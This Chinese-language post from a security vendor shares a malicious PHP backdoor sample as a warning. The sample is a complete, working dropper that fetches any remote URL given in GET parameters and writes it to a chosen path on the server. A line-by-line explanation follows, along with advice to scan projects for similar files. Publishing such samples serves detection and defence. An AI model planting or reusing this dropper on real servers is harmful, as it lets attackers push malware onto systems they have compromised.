当前位置:首页 » 行业动态 » 正文

恶意PHP后门代码样本:通过URL参数直接下载文件到服务器

恶意PHP后门代码样本:通过URL参数直接下载文件到服务器

以下代码请勿在线上环境执行,避免出现无法预计的问题,京策盾对以下代码只做分享恶意样本用途,不承担任何实际使用可能带来的后果

 

  1. <?php
  2. set_time_limit(0);
  3. if(isset($_GET['url']) && isset($_GET['filename'])){
  4. if(httpcopy($_GET['url'], $_GET['filename'])){
  5. echo("Done.");
  6. }else{
  7. echo("Down Error.");
  8. }
  9. }else{
  10. die('Input error.');
  11. }
  12. function httpcopy($url, $file="", $timeout=60) {
  13. $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;
  14. $dir = pathinfo($file,PATHINFO_DIRNAME);
  15. !is_dir($dir) && @mkdir($dir,0755,true);
  16. $url = str_replace(" ","%20",$url);
  17. if(function_exists('curl_init')) {
  18. echo "curl ";
  19. $ch = curl_init();
  20. curl_setopt($ch, CURLOPT_URL, $url);
  21. curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
  22. curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  23. $temp = curl_exec($ch);
  24. if(@file_put_contents($file, $temp) && !curl_error($ch)) {
  25. return $file;
  26. } else {
  27. return false;
  28. }
  29. } else {
  30. echo "copy ";
  31. $opts = array(
  32. "http"=>array(
  33. "method"=>"GET",
  34. "header"=>"",
  35. "timeout"=>$timeout)
  36. );
  37. $context = stream_context_create($opts);
  38. if(@copy($url, $file, $context)) {
  39. //$http_response_header
  40. return $file;
  41. } else {
  42. return false;
  43. }
  44. }
  45. }
  46. ?>

 

这段代码是PHP语言编写的,它的作用是从一个指定的URL下载文件,并将其保存到服务器上。下面是代码的逐行解释:

  1. set_time_limit(0); – 设置脚本的执行时间无限制,这样脚本可以运行任意长的时间。
  2. if(isset($_GET['url']) && isset($_GET['filename'])){ – 检查是否有GET请求的参数urlfilename
  3. if(httpcopy($_GET['url'], $_GET['filename'])){ – 如果httpcopy函数成功执行,即文件下载成功。
  4. echo("Done."); – 输出“Done.”表示文件下载并保存成功。
  5. }else{ – 如果httpcopy函数执行失败。
  6. echo("Down Error."); – 输出“Down Error.”表示下载过程中出现了错误。
  7. }else{ – 如果没有GET请求的参数urlfilename
  8. die('Input error.'); – 终止脚本执行并输出“Input error.”表示输入错误。
  9. function httpcopy($url, $file="", $timeout=60) { – 定义了一个名为httpcopy的函数,它接受三个参数:文件的URL、文件名(可选,默认为空),以及超时时间(默认60秒)。
  10. $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file; – 如果没有提供文件名,就使用URL的最后一部分作为文件名。
  11. $dir = pathinfo($file,PATHINFO_DIRNAME); – 获取文件名的目录路径。
  12. !is_dir($dir) && @mkdir($dir,0755,true); – 如果目录不存在,则创建目录,权限设置为755。
  13. $url = str_replace(" ","%20",$url); – 将URL中的空格替换为%20,因为URL中不能直接包含空格。
  14. if(function_exists('curl_init')) { – 检查服务器是否支持cURL。
  15. echo "curl "; – 如果支持cURL,输出“curl”。
  16. 使用cURL进行文件下载,如果成功则保存到指定的文件路径。
  17. else { – 如果服务器不支持cURL。
  18. echo "copy "; – 输出“copy”。
  19. 使用PHP的stream_context_createcopy函数进行文件下载,如果成功则保存到指定的文件路径。
  20. } – 函数定义结束。

这段代码存在安全风险,因为它允许通过URL参数直接下载文件到服务器,这可能会导致恶意文件被下载和执行。在实际应用中,这样的脚本应该进行严格的安全检查和限制。

 

同时您也可以检查您的项目文件内是否有类似语法的文件,避免您的项目被挂马与入侵

分享到
上一篇
下一篇

相关推荐

联系我们

kakuyunke

复制已复制
4692403复制已复制
kefu#0ka.co复制已复制
微信小程序
kakuyunke复制已复制
关注官方微信,了解最新资讯
contact-img
客服QQ
在线客服